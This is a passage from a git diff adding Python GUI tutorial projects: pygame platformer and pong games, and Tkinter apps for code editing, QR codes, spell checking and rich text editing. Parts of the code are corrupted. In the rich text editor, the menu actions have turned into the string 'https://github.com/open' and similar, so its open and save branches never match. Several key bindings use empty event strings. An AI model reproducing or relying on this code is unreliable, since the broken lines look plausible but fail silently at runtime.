self.blade_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.mask = pygame.mask.from_surface(self.image) + self.rect = self.image.get_rect(topleft = pos) + + # adds the spinning effect to the Blade trap + def _animate(self): + sprites = self.blade_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # update object position due to world scroll + def update(self, x_shift): + self._animate() + self.rect.x += x_shift diff --git a/gui-programming/platformer-game/world.py b/gui-programming/platformer-game/world.py new file mode 100644 index 00000000..3d78bc0d --- /dev/null +++ b/gui-programming/platformer-game/world.py @@ -0,0 +1,143 @@ +import pygame +from settings import tile_size, WIDTH +from tile import Tile +from trap import Trap +from goal import Goal +from player import Player +from game import Game + +class World: + def __init__(self, world_data, screen): + self.screen = screen + self.world_data = world_data + self._setup_world(world_data) + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.7 + self.game = Game(self.screen) + + # generates the world + def _setup_world(self, layout): + self.tiles = pygame.sprite.Group() + self.traps = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self.goal = pygame.sprite.GroupSingle() + + for row_index, row in enumerate(layout): + for col_index, cell in enumerate(row): + x, y = col_index * tile_size, row_index * tile_size + if cell == "X": + tile = Tile((x, y), tile_size) + self.tiles.add(tile) + elif cell == "t": + tile = Trap((x + (tile_size // 4), y + (tile_size // 4)), tile_size // 2) + self.traps.add(tile) + elif cell == "P": + player_sprite = Player((x, y)) + self.player.add(player_sprite) + elif cell == "G": + goal_sprite = Goal((x, y), tile_size) + self.goal.add(goal_sprite) + + # world scroll when the player is walking towards left/right + def _scroll_x(self): + player = self.player.sprite + player_x = player.rect.centerx + direction_x = player.direction.x + + if player_x < WIDTH // 3 and direction_x < 0: + self.world_shift = 8 + player.speed = 0 + elif player_x > WIDTH - (WIDTH // 3) and direction_x > 0: + self.world_shift = -8 + player.speed = 0 + else: + self.world_shift = 0 + player.speed = 3 + + # add gravity for player to fall + def _apply_gravity(self, player): + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # prevents player to pass through objects horizontally + def _horizontal_movement_collision(self): + player = self.player.sprite + player.rect.x += player.direction.x * player.speed + + for sprite in self.tiles.sprites(): + if sprite.rect.colliderect(player.rect): + # checks if moving towards left + if player.direction.x < 0: + player.rect.left = sprite.rect.right + player.on_left = True + self.current_x = player.rect.left + # checks if moving towards right + elif player.direction.x > 0: + player.rect.right = sprite.rect.left + player.on_right = True + self.current_x = player.rect.right + if player.on_left and (player.rect.left < self.current_x or player.direction.x >= 0): + player.on_left = False + if player.on_right and (player.rect.right > self.current_x or player.direction.x <= 0): + player.on_right = False + + # prevents player to pass through objects vertically + def _vertical_movement_collision(self): + player = self.player.sprite + self._apply_gravity(player) + + for sprite in self.tiles.sprites(): + if sprite.rect.colliderect(player.rect): + # checks if moving towards bottom + if player.direction.y > 0: + player.rect.bottom = sprite.rect.top + player.direction.y = 0 + player.on_ground = True + # checks if moving towards up + elif player.direction.y < 0: + player.rect.top = sprite.rect.bottom + player.direction.y = 0 + player.on_ceiling = True + if player.on_ground and player.direction.y < 0 or player.direction.y > 1: + player.on_ground = False + if player.on_ceiling and player.direction.y > 0: + player.on_ceiling = False + + # add consequences when player run through traps + def _handle_traps(self): + player = self.player.sprite + + for sprite in self.traps.sprites(): + if sprite.rect.colliderect(player.rect): + if player.direction.x < 0 or player.direction.y > 0: + player.rect.x += tile_size + elif player.direction.x > 0 or player.direction.y > 0: + player.rect.x -= tile_size + player.life -= 1 + + # updating the game world from all changes commited + def update(self, player_event): + # for tile + self.tiles.update(self.world_shift) + self.tiles.draw(self.screen) + + # for trap + self.traps.update(self.world_shift) + self.traps.draw(self.screen) + + # for goal + self.goal.update(self.world_shift) + self.goal.draw(self.screen) + + self._scroll_x() + + # for player + self._horizontal_movement_collision() + self._vertical_movement_collision() + self._handle_traps() + self.player.update(player_event) + self.game.show_life(self.player.sprite) + self.player.draw(self.screen) + + self.game.game_state(self.player.sprite, self.goal.sprite) diff --git a/gui-programming/pong-game/README.md b/gui-programming/pong-game/README.md new file mode 100644 index 00000000..fac7a789 --- /dev/null +++ b/gui-programming/pong-game/README.md @@ -0,0 +1 @@ +# [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python) \ No newline at end of file diff --git a/gui-programming/pong-game/ball.py b/gui-programming/pong-game/ball.py new file mode 100644 index 00000000..7a069cb7 --- /dev/null +++ b/gui-programming/pong-game/ball.py @@ -0,0 +1,42 @@ +import pygame, sys +import random +from settings import WIDTH, HEIGHT + +pygame.init() + +class Ball: + def __init__(self, x, y, radius): + self.x = x + self.y = y + self.radius = radius + self.rect = pygame.Rect(self.x, self.y, radius, radius) + self.color = pygame.Color("red") + self.direction = None + self.speed_x = 0 + self.speed_y = 0 + self._random_direction() + + def _random_direction(self): + direction = ("right", "left") + self.direction = random.choice(direction) + + def _ball_movement(self): + # horizontal handling + if self.direction == "right": + self.speed_x = 18 + else: + self.speed_x = -18 + + # vertical handling + if self.rect.y >= HEIGHT - self.radius: + self.speed_y = -18 + elif self.rect.y <= 0 + self.radius: + self.speed_y = 18 + + # wall bounce handling + self.rect.x += self.speed_x + self.rect.y += self.speed_y + + def update(self, screen): + self._ball_movement() + pygame.draw.rect(screen, self.color, self.rect) \ No newline at end of file diff --git a/gui-programming/pong-game/main.py b/gui-programming/pong-game/main.py new file mode 100644 index 00000000..c4913973 --- /dev/null +++ b/gui-programming/pong-game/main.py @@ -0,0 +1,37 @@ +import pygame, sys +from settings import WIDTH, HEIGHT +from table import Table + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Ping Pong") + +class Pong: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def draw(self): + pygame.display.flip() + + def main(self): + # start menu here + table = Table(self.screen) # pass to table the player_option saved to table.game_mode + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + table.player_move() + table.update() + self.draw() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Pong(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/pong-game/player.py b/gui-programming/pong-game/player.py new file mode 100644 index 00000000..34004715 --- /dev/null +++ b/gui-programming/pong-game/player.py @@ -0,0 +1,20 @@ +import pygame + +class Player: + def __init__(self, x, y, width, height): + self.x = x + self.y = y + self.rect = pygame.Rect(self.x, self.y, width, height) + self.color = pygame.Color("gray") + self.player_speed = 16 + + self.score = 0 + + def move_up(self): + self.rect.y -= self.player_speed + + def move_bottom(self): + self.rect.y += self.player_speed + + def update(self, screen): + pygame.draw.rect(screen, self.color, self.rect) \ No newline at end of file diff --git a/gui-programming/pong-game/requirements.txt b/gui-programming/pong-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/pong-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pong-game/settings.py b/gui-programming/pong-game/settings.py new file mode 100644 index 00000000..7fad2059 --- /dev/null +++ b/gui-programming/pong-game/settings.py @@ -0,0 +1,3 @@ +WIDTH, HEIGHT = 990, 450 + +player_width, player_height = 20, 90 \ No newline at end of file diff --git a/gui-programming/pong-game/table.py b/gui-programming/pong-game/table.py new file mode 100644 index 00000000..877d2275 --- /dev/null +++ b/gui-programming/pong-game/table.py @@ -0,0 +1,94 @@ +import pygame, time +import sys +from player import Player +from ball import Ball +from settings import WIDTH, HEIGHT, player_width, player_height + +class Table: + def __init__(self, screen): + self.screen = screen + self.game_over = False + self.score_limit = 10 + self.winner = None + self._generate_world() + + # text info + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + + # create and add player to the screen + def _generate_world(self): + self.playerA = Player(0, HEIGHT // 2 - (player_height // 2), player_width, player_height) + self.playerB = Player(WIDTH - player_width, HEIGHT // 2 - (player_height // 2), player_width, player_height) + self.ball = Ball(WIDTH // 2 - player_width, HEIGHT - player_width, player_width) + + def _ball_hit(self): + # if ball is not hit by a player and pass through table sides + if self.ball.rect.left >= WIDTH: + self.playerA.score += 1 + self.ball.rect.x = WIDTH // 2 + time.sleep(1) + elif self.ball.rect.right <= 0: + self.playerB.score += 1 + self.ball.rect.x = WIDTH // 2 + time.sleep(1) + + # if ball land in the player + if pygame.Rect.colliderect(self.ball.rect, self.playerA.rect): + self.ball.direction = "right" + if pygame.Rect.colliderect(self.ball.rect, self.playerB.rect): + self.ball.direction = "left" + + def _bot_opponent(self): + if self.ball.direction == "left" and self.ball.rect.centery != self.playerA.rect.centery: + if self.ball.rect.top <= self.playerA.rect.top: + if self.playerA.rect.top > 0: + self.playerA.move_up() + if self.ball.rect.bottom >= self.playerA.rect.bottom: + if self.playerA.rect.bottom < HEIGHT: + self.playerA.move_bottom() + + def player_move(self): + keys = pygame.key.get_pressed() + + # for bot opponent controls + self._bot_opponent() + + # for player controls + if keys[pygame.K_UP]: + if self.playerB.rect.top > 0: + self.playerB.move_up() + if keys[pygame.K_DOWN]: + if self.playerB.rect.bottom < HEIGHT: + self.playerB.move_bottom() + + def _show_score(self): + A_score, B_score = str(self.playerA.score), str(self.playerB.score) + A_score = self.font.render(A_score, True, self.color) + B_score = self.font.render(B_score, True, self.color) + self.screen.blit(A_score, (WIDTH // 4, 50)) + self.screen.blit(B_score, ((WIDTH // 4) * 3, 50)) + + def _game_end(self): + if self.winner != None: + print(f"{self.winner} wins!!") + pygame.quit() + sys.exit() + + def update(self): + self._show_score() + + self.playerA.update(self.screen) + self.playerB.update(self.screen) + + self._ball_hit() + + if self.playerA.score == self.score_limit: + self.winner = "Opponent" + + elif self.playerB.score == self.score_limit: + self.winner = "You" + + self._game_end() + self.ball.update(self.screen) \ No newline at end of file diff --git a/gui-programming/python-code-editor/README.md b/gui-programming/python-code-editor/README.md new file mode 100644 index 00000000..9c037429 --- /dev/null +++ b/gui-programming/python-code-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Python Code Editor using Tkinter in Python](https://www.thepythoncode.com/article/python-code-editor-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/python-code-editor/python_code_editor.py b/gui-programming/python-code-editor/python_code_editor.py new file mode 100644 index 00000000..f01fbe98 --- /dev/null +++ b/gui-programming/python-code-editor/python_code_editor.py @@ -0,0 +1,122 @@ +from tkinter import * +import ctypes +import re +import os + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup Tkinter +root = Tk() +root.geometry('500x500') + + +# Execute the Programm +def execute(event=None): + + # Write the Content to the Temporary File + with open('run.py', 'w', encoding='utf-8') as f: + f.write(editArea.get('1.0', END)) + + # Start the File in a new CMD Window + os.system('start cmd /K "python run.py"') + +# Register Changes made to the Editor Content +def changes(event=None): + global previousText + + # If actually no changes have been made stop / return the function + if editArea.get('1.0', END) == previousText: + return + + # Remove all tags so they can be redrawn + for tag in editArea.tag_names(): + editArea.tag_remove(tag, "1.0", "end") + + # Add tags where the search_re function found the pattern + i = 0 + for pattern, color in repl: + for start, end in search_re(pattern, editArea.get('1.0', END)): + editArea.tag_add(f'{i}', start, end) + editArea.tag_config(f'{i}', foreground=color) + + i+=1 + + previousText = editArea.get('1.0', END) + +def search_re(pattern, text, groupid=0): + matches = [] + + text = text.splitlines() + for i, line in enumerate(text): + for match in re.finditer(pattern, line): + + matches.append( + (f"{i + 1}.{match.start()}", f"{i + 1}.{match.end()}") + ) + + return matches + + +def rgb(rgb): + return "#%02x%02x%02x" % rgb + + +previousText = '' + +# Define colors for the variouse types of tokens +normal = rgb((234, 234, 234)) +keywords = rgb((234, 95, 95)) +comments = rgb((95, 234, 165)) +string = rgb((234, 162, 95)) +function = rgb((95, 211, 234)) +background = rgb((42, 42, 42)) +font = 'Consolas 15' + + +# Define a list of Regex Pattern that should be colored in a certain way +repl = [ + ['(^| )(False|None|True|and|as|assert|async|await|break|class|continue|def|del|elif|else|except|finally|for|from|global|if|import|in|is|lambda|nonlocal|not|or|pass|raise|return|try|while|with|yield)($| )', keywords], + ['".*?"', string], + ['\'.*?\'', string], + ['#.*?$', comments], +] + +# Make the Text Widget +# Add a hefty border width so we can achieve a little bit of padding +editArea = Text( + root, + background=background, + foreground=normal, + insertbackground=normal, + relief=FLAT, + borderwidth=30, + font=font +) + +# Place the Edit Area with the pack method +editArea.pack( + fill=BOTH, + expand=1 +) + +# Insert some Standard Text into the Edit Area +editArea.insert('1.0', """from argparse import ArgumentParser +from random import shuffle, choice +import string + +# Setting up the Argument Parser +parser = ArgumentParser( + prog='Password Generator.', + description='Generate any number of passwords with this tool.' +) +""") + +# Bind the KeyRelase to the Changes Function +editArea.bind('', changes) + +# Bind Control + R to the exec function +root.bind('', execute) + +changes() +root.mainloop() diff --git a/gui-programming/qrcode-generator-reader-gui/README.md b/gui-programming/qrcode-generator-reader-gui/README.md new file mode 100644 index 00000000..f9bb76ad --- /dev/null +++ b/gui-programming/qrcode-generator-reader-gui/README.md @@ -0,0 +1 @@ +# [How to Build a GUI QR Code Generator and Detector Using Python](https://www.thepythoncode.com/article/make-a-qr-code-generator-and-reader-tkinter-python) \ No newline at end of file diff --git a/gui-programming/qrcode-generator-reader-gui/icon.ico b/gui-programming/qrcode-generator-reader-gui/icon.ico new file mode 100644 index 00000000..161e6877 Binary files /dev/null and b/gui-programming/qrcode-generator-reader-gui/icon.ico differ diff --git a/gui-programming/qrcode-generator-reader-gui/qrcode_generator_detector.py b/gui-programming/qrcode-generator-reader-gui/qrcode_generator_detector.py new file mode 100644 index 00000000..e20129c0 --- /dev/null +++ b/gui-programming/qrcode-generator-reader-gui/qrcode_generator_detector.py @@ -0,0 +1,254 @@ +# this imports everything from the tkinter module +from tkinter import * +# importing the ttk module from tkinter that's for styling widgets +from tkinter import ttk +# importing message boxes like showinfo, showerror, askyesno from tkinter.messagebox +from tkinter.messagebox import showinfo, showerror, askyesno +# importing filedialog from tkinter +from tkinter import filedialog as fd +# this imports the qrcode module +import qrcode +# this imports the cv2 module +import cv2 + + + +# the function to close the window +def close_window(): + # this will ask the user whether to close or not + # if the value is yes/True the window will close + if askyesno(title='Close QR Code Generator-Detector', message='Are you sure you want to close the application?'): + # this destroys the window + window.destroy() + + + + +# the function for generating the QR Code +def generate_qrcode(): + # getting qrcode data from data_entry via get() function + qrcode_data = str(data_entry.get()) + # getting the qrcode name from the filename_entry via get() function + qrcode_name = str(filename_entry.get()) + # checking if the qrcode_name/filename_entry is empty + if qrcode_name == '': + # if its empty display an error message to the user + showerror(title='Error', message='An error occurred' \ + '\nThe following is ' \ + 'the cause:\n->Empty filename entry field\n' \ + 'Make sure the filename entry field is filled when generating the QRCode') + + # the else statement will execute when the qrcode_name/filename_entry is filled + else: + # confirm from the user whether to generate QR code or not + if askyesno(title='Confirmation', message=f'Do you want to create a QRCode with the provided information?'): + # the try block for generating the QR Code + try: + # Creating an instance of QRCode class + qr = qrcode.QRCode(version = 1, box_size = 6, border = 4) + # Adding data to the instance 'qr' + qr.add_data(qrcode_data) + # + qr.make(fit = True) + # the name for the QRCode + name = qrcode_name + '.png' + # making the QR code + qrcode_image = qr.make_image(fill_color = 'black', back_color = 'white') + # saving the QR code + qrcode_image.save(name) + # making the Image variable global + global Image + # opening the qrcode image file + Image = PhotoImage(file=f'{name}') + # displaying the image on the canvas via the image label + image_label1.config(image=Image) + # the button for resetting or clearing the QR code image on the canvas + reset_button.config(state=NORMAL, command=reset) + + # this will catch all the errors that might occur + except: + showerror(title='Error', message='Please provide a valid filename') + +# the function for resetting or clearing the image label +def reset(): + # confirming if the user wants to reset or not + if askyesno(title='Reset', message='Are you sure you want to reset?'): + # if yes reset the label + image_label1.config(image='') + # and disable the button again + reset_button.config(state=DISABLED) + + +# the function to open file dialogs +def open_dialog(): + # getting the file name via the askopenfilename() function + name = fd.askopenfilename() + # deleting every data from the file_entry + file_entry.delete(0, END) + # inserting the file in the file_entry + file_entry.insert(0, name) + + +# the function to detect the QR codes +def detect_qrcode(): + + # getting the image file from the file entry via get() function + image_file = file_entry.get() + # checking if the image_file is empty + if image_file == '': + # show error when the image_file entry is empty + showerror(title='Error', message='Please provide a QR Code image file to detect') + + # executes when the image_file is not empty + else: + # code inside the try will detect the QR codes + try: + # reading the image file with cv2 + qr_img = cv2.imread(f'{image_file}') + # using the QRCodeDetector() function + qr_detector = cv2.QRCodeDetector() + # making the qrcodde_image global + global qrcode_image + # opening the qrcode_image using the PhotoImage + qrcode_image = PhotoImage(file=f'{image_file}') + # displaying the image via the image label + image_label2.config(image=qrcode_image) + # using the detectAndDecode() function detect and decode the QR code + data, pts, st_code = qr_detector.detectAndDecode(qr_img) + # displaying data on the data_label + data_label.config(text=data) + + # this catches any errors that might occur + except: + # displaying an error message + showerror(title='Error', message='An error occurred while detecting data from the provided file' \ + '\nThe following could be ' \ + 'the cause:\n->Wrong image file\n' \ + 'Make sure the image file is a valid QRCode') + + + + + +# creating the window using the Tk() class +window = Tk() +# creates title for the window +window.title('QR Code Generator-Detector') +# adding the window's icon +window.iconbitmap(window, 'icon.ico') +# dimensions and position of the window +window.geometry('500x480+440+180') +# makes the window non-resizable +window.resizable(height=FALSE, width=FALSE) +# this is for closing the window via the close_window() function +window.protocol('WM_DELETE_WINDOW', close_window) + + + +"""Styles for the widgets, labels, entries, and buttons""" +# style for the labels +label_style = ttk.Style() +label_style.configure('TLabel', foreground='#000000', font=('OCR A Extended', 11)) + +# style for the entries +entry_style = ttk.Style() +entry_style.configure('TEntry', font=('Dotum', 15)) + +# style for the buttons +button_style = ttk.Style() +button_style.configure('TButton', foreground='#000000', font=('DotumChe', 10)) + +# creating the Notebook widget +tab_control = ttk.Notebook(window) + +# creating the two tabs with the ttk.Frame() +first_tab = ttk.Frame(tab_control) +second_tab = ttk.Frame(tab_control) + +# adding the two tabs to the Notebook +tab_control.add(first_tab, text='QR Code Generator') +tab_control.add(second_tab, text='QR Code Detector') +# this makes the Notebook fill the entire main window so that its visible +tab_control.pack(expand=1, fill="both") + + +# creates the canvas for containing all the widgets in the first tab +first_canvas = Canvas(first_tab, width=500, height=480) +# packing the canvas to the first tab +first_canvas.pack() + +# creates the canvas for containing all the widgets in the second tab +second_canvas = Canvas(second_tab, width=500, height=480) +# packing the canvas to the second tab +second_canvas.pack() + + +"""Widgets for the first tab""" + +# creating an empty label +image_label1 = Label(window) +# adding the label to the canvas +first_canvas.create_window(250, 150, window=image_label1) + +# creating a ttk label +qrdata_label = ttk.Label(window, text='QRcode Data', style='TLabel') +# creating a ttk entry +data_entry = ttk.Entry(window, width=55, style='TEntry') + +# adding the label to the canvas +first_canvas.create_window(70, 330, window=qrdata_label) +# adding the entry to the canvas +first_canvas.create_window(300, 330, window=data_entry) + +# creating a ttk label +filename_label = ttk.Label(window, text='Filename', style='TLabel') +# creating a ttk entry +filename_entry = ttk.Entry(width=55, style='TEntry') + +# adding the label to the canvas +first_canvas.create_window(84, 360, window=filename_label) +# adding the entry to the canvas +first_canvas.create_window(300, 360, window=filename_entry) + + +# creating the reset button in a disabled mode +reset_button = ttk.Button(window, text='Reset', style='TButton', state=DISABLED) +# creating the generate button +generate_button = ttk.Button(window, text='Generate QRCode', style='TButton', command=generate_qrcode) + +# adding the reset button to the canvas +first_canvas.create_window(300, 390, window=reset_button) +# adding the generate button to the canvas +first_canvas.create_window(410, 390, window=generate_button) + + +"""Below are the widgets for the second tab""" + +# creating the second image label +image_label2 = Label(window) +# creating the data label +data_label = ttk.Label(window) + +# adding the second image label to the second_canvas +second_canvas.create_window(250, 150, window=image_label2) +# adding the data label to the canvas +second_canvas.create_window(250, 300, window=data_label) + +# creating the file_entry +file_entry = ttk.Entry(window, width=60, style='TEntry') +# creating the browse button +browse_button = ttk.Button(window, text='Browse', style='TButton', command=open_dialog) + +# adding the entry to the canvas +second_canvas.create_window(200, 350, window=file_entry) +# adding the generate button to the canvas +second_canvas.create_window(430, 350, window=browse_button) + +# creating the detect button +detect_button = ttk.Button(window, text='Detect QRCode', style='TButton', command=detect_qrcode) +# adding the detect button to the canvas +second_canvas.create_window(65, 385, window=detect_button) + + +# run the main window infinitely +window.mainloop() \ No newline at end of file diff --git a/gui-programming/qrcode-generator-reader-gui/requirements.txt b/gui-programming/qrcode-generator-reader-gui/requirements.txt new file mode 100644 index 00000000..8e353fa4 --- /dev/null +++ b/gui-programming/qrcode-generator-reader-gui/requirements.txt @@ -0,0 +1,2 @@ +python-opencv +qrcode \ No newline at end of file diff --git a/gui-programming/realtime-spelling-checker/README.md b/gui-programming/realtime-spelling-checker/README.md new file mode 100644 index 00000000..c8bfafbd --- /dev/null +++ b/gui-programming/realtime-spelling-checker/README.md @@ -0,0 +1 @@ +# [How to Make a Real-Time GUI Spelling Checker in Python](https://www.thepythoncode.com/article/make-a-realtime-spelling-checker-gui-python) \ No newline at end of file diff --git a/gui-programming/realtime-spelling-checker/requirements.txt b/gui-programming/realtime-spelling-checker/requirements.txt new file mode 100644 index 00000000..6fa2de44 --- /dev/null +++ b/gui-programming/realtime-spelling-checker/requirements.txt @@ -0,0 +1 @@ +nltk \ No newline at end of file diff --git a/gui-programming/realtime-spelling-checker/spell-check.ico b/gui-programming/realtime-spelling-checker/spell-check.ico new file mode 100644 index 00000000..73f22dc6 Binary files /dev/null and b/gui-programming/realtime-spelling-checker/spell-check.ico differ diff --git a/gui-programming/realtime-spelling-checker/spellingchecker.py b/gui-programming/realtime-spelling-checker/spellingchecker.py new file mode 100644 index 00000000..d98d4b26 --- /dev/null +++ b/gui-programming/realtime-spelling-checker/spellingchecker.py @@ -0,0 +1,97 @@ +# this imports everything from the tkinter module +from tkinter import * +# importing the ttk module from tkinter that's for styling widgets +from tkinter import ttk +# importing a Text field with the scrollbar +from tkinter.scrolledtext import ScrolledText +# imports the re module +import re +# this imports nltk +import nltk +# importing all the words from nltk +from nltk.corpus import words +# importing an askyesno message box from tkinter.message +from tkinter.messagebox import askyesno + +# this will download the words +nltk.download('words') + +# we are creating a SpellingChecker class +class SpellingChecker: + # a special method, always called when an instance is created + def __init__(self, master): + # defining a style for the label + style = ttk.Style() + # configuring the style, TLabel is the style name + style.configure('TLabel', foreground='#000000', font=('OCR A Extended', 25)) + # variable for tracking white space, default is 0 + self.old_spaces = 0 + # creating the main window + self.master = master + # giving title to the main window + self.master.title('Real-Time Spelling Checker') + # defining dimensions and position for the main window + self.master.geometry('580x500+440+180') + # adding an icon to the main window + self.master.iconbitmap(self.master, 'spell-check.ico') + # making the main window non-resizable + self.master.resizable(height=FALSE, width=FALSE) + # this is for closing the window via the close() function + self.master.protocol('WM_DELETE_WINDOW', self.close) + # creating the label to display the big text + self.label = ttk.Label(self.master, text='Real-Time Spelling Checker', style='TLabel') + # adding the label to the main window using grid geometry manager + self.label.grid(row=0, column=0, columnspan=10, padx=5, pady=25) + # creating a scollable Text field + self.text = ScrolledText(self.master, font=("Helvetica", 15), width=50, height=15) + # bing the scrollable Text field to an event + self.text.bind('', self.check) + # adding the scrollable Text field to the main window using grid geometry manager + self.text.grid(row=1, column=0, padx=5, pady=5, columnspan=10) + + # the function for closing the application + def close(self): + # this will ask the user whether to close or not + # if the value is yes/True the window will close + if askyesno(title='Close Real-Time Spelling Checker', message='Are you sure you want to close the application?'): + # this destroys the window + self.master.destroy() + + # this is the function for checking spelling in real-time + def check(self, event): + # getting all the content from the ScrolledText via get() function + # 1.0 is the starting point and END is the end point of the ScrolledText content + content = self.text.get('1.0', END) + # getting all the white spaces from the content + space_count = content.count(' ') + # checking if the space_count is not equal to self.old_spaces + if space_count != self.old_spaces: + # updating the self.old_spaces to space_count + self.old_spaces = space_count + # this loops through all the tag names + # and deletes them if the word is valid + for tag in self.text.tag_names(): + self.text.tag_delete(tag) + # splitting the content by white space + # and looping through the split content to get a single word + for word in content.split(' '): + # with the sub() function we are removing special characters from the word + # replacing the special character with nothing + # the target is word.lower() + # checking if the cleaned lower case word is not in words + if re.sub(r'[^\w]', '', word.lower()) not in words.words(): + # gets the position of the invalid word + position = content.find(word) + # adding a tag to the invalid word + self.text.tag_add(word, f'1.{position}', f'1.{position + len(word)}') + # changing the color of the invalid word to red + self.text.tag_config(word, foreground='red') + + + +# creating the root winding using Tk() class +root = Tk() +# instantiating/creating object app for class SpellingChecker +app = SpellingChecker(root) +# calling the mainloop to run the app infinitely until user closes it +root.mainloop() diff --git a/gui-programming/rich-text-editor/README.md b/gui-programming/rich-text-editor/README.md new file mode 100644 index 00000000..a9705a8f --- /dev/null +++ b/gui-programming/rich-text-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Rich Text Editor with Tkinter in Python](https://www.thepythoncode.com/article/create-rich-text-editor-with-tkinter-python) \ No newline at end of file diff --git a/gui-programming/rich-text-editor/rich_text_editor.py b/gui-programming/rich-text-editor/rich_text_editor.py new file mode 100644 index 00000000..05259905 --- /dev/null +++ b/gui-programming/rich-text-editor/rich_text_editor.py @@ -0,0 +1,189 @@ +from tkinter import * +from tkinter.filedialog import askopenfilename, asksaveasfilename +import ctypes +from functools import partial +from json import loads, dumps + +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup +root = Tk() +root.geometry('600x600') + +# Used to make title of the application +applicationName = 'Rich Text Editor' +root.title(applicationName) + +# Current File Path +filePath = None + +# initial directory to be the current directory +initialdir = '.' + +# Define File Types that can be choosen +validFileTypes = ( + ("Rich Text File","*.rte"), + ("all files","*.*") +) + +# Setting the font and Padding for the Text Area +fontName = 'Bahnschrift' +padding = 60 + +# Infos about the Document are stored here +document = None + +# Default content of the File +defaultContent = { + "content": "", + "tags": { + 'bold': [(), ()] + }, +} + +# Transform rgb to hex +def rgbToHex(rgb): + return "#%02x%02x%02x" % rgb + +# Add Different Types of Tags that can be added to the document. +tagTypes = { + # Font Settings + 'Bold': {'font': f'{fontName} 15 bold'}, + 'Italic': {'font': f'{fontName} 15 italic'}, + 'Code': {'font': 'Consolas 15', 'background': rgbToHex((200, 200, 200))}, + + # Sizes + 'Normal Size': {'font': f'{fontName} 15'}, + 'Larger Size': {'font': f'{fontName} 25'}, + 'Largest Size': {'font': f'{fontName} 35'}, + + # Background Colors + 'Highlight': {'background': rgbToHex((255, 255, 0))}, + 'Highlight Red': {'background': rgbToHex((255, 0, 0))}, + 'Highlight Green': {'background': rgbToHex((0, 255, 0))}, + 'Highlight Black': {'background': rgbToHex((0, 0, 0))}, + + # Foreground / Text Colors + 'Text White': {'foreground': rgbToHex((255, 255, 255))}, + 'Text Grey': {'foreground': rgbToHex((200, 200, 200))}, + 'Text Blue': {'foreground': rgbToHex((0, 0, 255))}, + 'Text green': {'foreground': rgbToHex((0, 255, 0))}, + 'Text Red': {'foreground': rgbToHex((255, 0, 0))}, +} + +# Handle File Events +def fileManager(event=None, action=None): + global document, filePath + + # Open + if action == 'open': + # ask the user for a filename with the native file explorer. + filePath = askopenfilename(filetypes=validFileTypes, initialdir=initialdir) + + + with open(filePath, 'r') as f: + document = loads(f.read()) + + # Delete Content + textArea.delete('1.0', END) + + # Set Content + textArea.insert('1.0', document['content']) + + # Set Title + root.title(f'{applicationName} - {filePath}') + + # Reset all tags + resetTags() + + # Add To the Document + for tagName in document['tags']: + for tagStart, tagEnd in document['tags'][tagName]: + textArea.tag_add(tagName, tagStart, tagEnd) + print(tagName, tagStart, tagEnd) + + elif action == 'save': + document = defaultContent + document['content'] = textArea.get('1.0', END) + + for tagName in textArea.tag_names(): + if tagName == 'sel': continue + + document['tags'][tagName] = [] + + ranges = textArea.tag_ranges(tagName) + + for i in range(0, len(ranges), 2): + document['tags'][tagName].append([str(ranges[i]), str(ranges[i + 1])]) + + if not filePath: + # ask the user for a filename with the native file explorer. + newfilePath = asksaveasfilename(filetypes=validFileTypes, initialdir=initialdir) + + # Return in case the User Leaves the Window without + # choosing a file to save + if newfilePath is None: return + + filePath = newfilePath + + if not filePath.endswith('.rte'): + filePath += '.rte' + + with open(filePath, 'w') as f: + print('Saving at: ', filePath) + f.write(dumps(document)) + + root.title(f'{applicationName} - {filePath}') + + +def resetTags(): + for tag in textArea.tag_names(): + textArea.tag_remove(tag, "1.0", "end") + + for tagType in tagTypes: + textArea.tag_configure(tagType.lower(), tagTypes[tagType]) + + +def keyDown(event=None): + root.title(f'{applicationName} - *{filePath}') + + +def tagToggle(tagName): + start, end = "sel.first", "sel.last" + + if tagName in textArea.tag_names('sel.first'): + textArea.tag_remove(tagName, start, end) + else: + textArea.tag_add(tagName, start, end) + + +textArea = Text(root, font=f'{fontName} 15', relief=FLAT) +textArea.pack(fill=BOTH, expand=TRUE, padx=padding, pady=padding) +textArea.bind("", keyDown) + +resetTags() + + +menu = Menu(root) +root.config(menu=menu) + +fileMenu = Menu(menu, tearoff=0) +menu.add_cascade(label="File", menu=fileMenu) + +fileMenu.add_command(label="Open", command=partial(fileManager, action='https://github.com/open'), accelerator='Ctrl+O') +root.bind_all('', partial(fileManager, action='https://github.com/open')) + +fileMenu.add_command(label="Save", command=partial(fileManager, action='https://github.com/save'), accelerator='Ctrl+S') +root.bind_all('', partial(fileManager, action='https://github.com/save')) + +fileMenu.add_command(label="Exit", command=root.quit) + + +formatMenu = Menu(menu, tearoff=0) +menu.add_cascade(label="Format", menu=formatMenu) + +for tagType in tagTypes: + formatMenu.add_command(label=tagType, command=partial(tagToggle, tagName=tagType.lower())) + + +root.mainloop() diff --git a/gui-programming/slide-puzzle/README.md b/gui-programming/slide-puzzle/README.md new file mode 100644 index 